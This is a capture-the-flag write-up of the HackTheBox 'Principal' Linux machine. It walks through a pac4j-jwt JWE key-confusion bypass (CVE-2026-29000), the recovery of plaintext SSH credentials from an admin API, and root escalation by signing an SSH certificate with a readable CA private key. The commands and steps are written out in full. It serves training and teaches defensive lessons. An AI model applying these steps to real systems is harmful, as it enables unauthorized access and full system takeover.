HackTheBox — Principal

Difficulty: Medium OS: Linux Platform: HackTheBox

Overview

Web application running pac4j-jwt v6.0.3 — vulnerable to CVE-2026-29000. The public RSA key is exposed unauthenticated via a JWKS endpoint and can be used to forge a valid admin JWE token, bypassing authentication entirely. With admin access, plaintext SSH credentials are recovered from the settings API. The service account is a member of the deployers group with read access to an SSH CA private key trusted by sshd — signing a certificate granting root access completes the box.

1. Enumeration

Browsed to the web application and viewed page source. Found the main JavaScript bundle at /static/js/app.js.

Key API endpoints identified inside app.js:

/api/auth/login
/api/auth/jwks      <- public key endpoint (unauthenticated)
/api/dashboard
/api/users
/api/settings

Page footer revealed: pac4j-jwt v6.0.3 — vulnerable to CVE-2026-29000.

2. JWT Authentication Bypass — CVE-2026-29000

Fetched the RSA public key from the unauthenticated JWKS endpoint:

curl http://<TARGET_IP>:8080/api/auth/jwks
# Returns RSA public key (kid: enc-key-1)

CVE-2026-29000 allows the public key to be used to forge a valid JWE token — the library incorrectly accepts tokens encrypted with the public key instead of requiring the private key.

Used the PoC to generate a forged admin token:

python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. Admin API Access

Used the forged token as a Bearer token in Burp Repeater:

Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

• Confirmed role: ROLE_ADMIN
• Activity log showed CERT_ISSUED actions for user: svc-deploy

GET /api/settings → 200 OK

• SSH credentials found in plaintext in the security config
• SSH certificate auth enabled
• SSH CA path: /opt/principal/ssh/

4. Initial Access

SSH'd in using credentials recovered from /api/settings:

ssh svc-deploy@<TARGET_IP>

User flag retrieved.

5. Privilege Escalation — SSH CA Signing

svc-deploy is in the deployers group with read access to /opt/principal/ssh/:

ls -la /opt/principal/ssh/
# ca        — RSA 4096-bit CA private key (readable by deployers)
# ca.pub    — CA public key
# README.txt — confirms CA is trusted by sshd

The CA private key is readable. Since sshd trusts this CA, any certificate signed by it is accepted — including one granting root access.

# Generate a new keypair
ssh-keygen -t ed25519 -f /tmp/privesc

# Sign with the CA, granting principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# SSH as root
ssh -i /tmp/privesc root@<TARGET_IP>

Root flag retrieved.

Flags

• User: /home/svc-deploy/user.txt
• Root: /root/root.txt

Key Takeaways

• Always check JWT library versions during web app recon — pac4j-jwt is common in Java applications.
• CVE-2026-29000: pac4j JWE key confusion — public key accepted where private key is required.
• API settings endpoints often leak credentials in plaintext — always enumerate all authenticated routes once you have a valid token.
• If a service account can read an SSH CA private key trusted by sshd, you can sign a certificate as any principal including root. Check group memberships and CA key permissions during post-exploitation.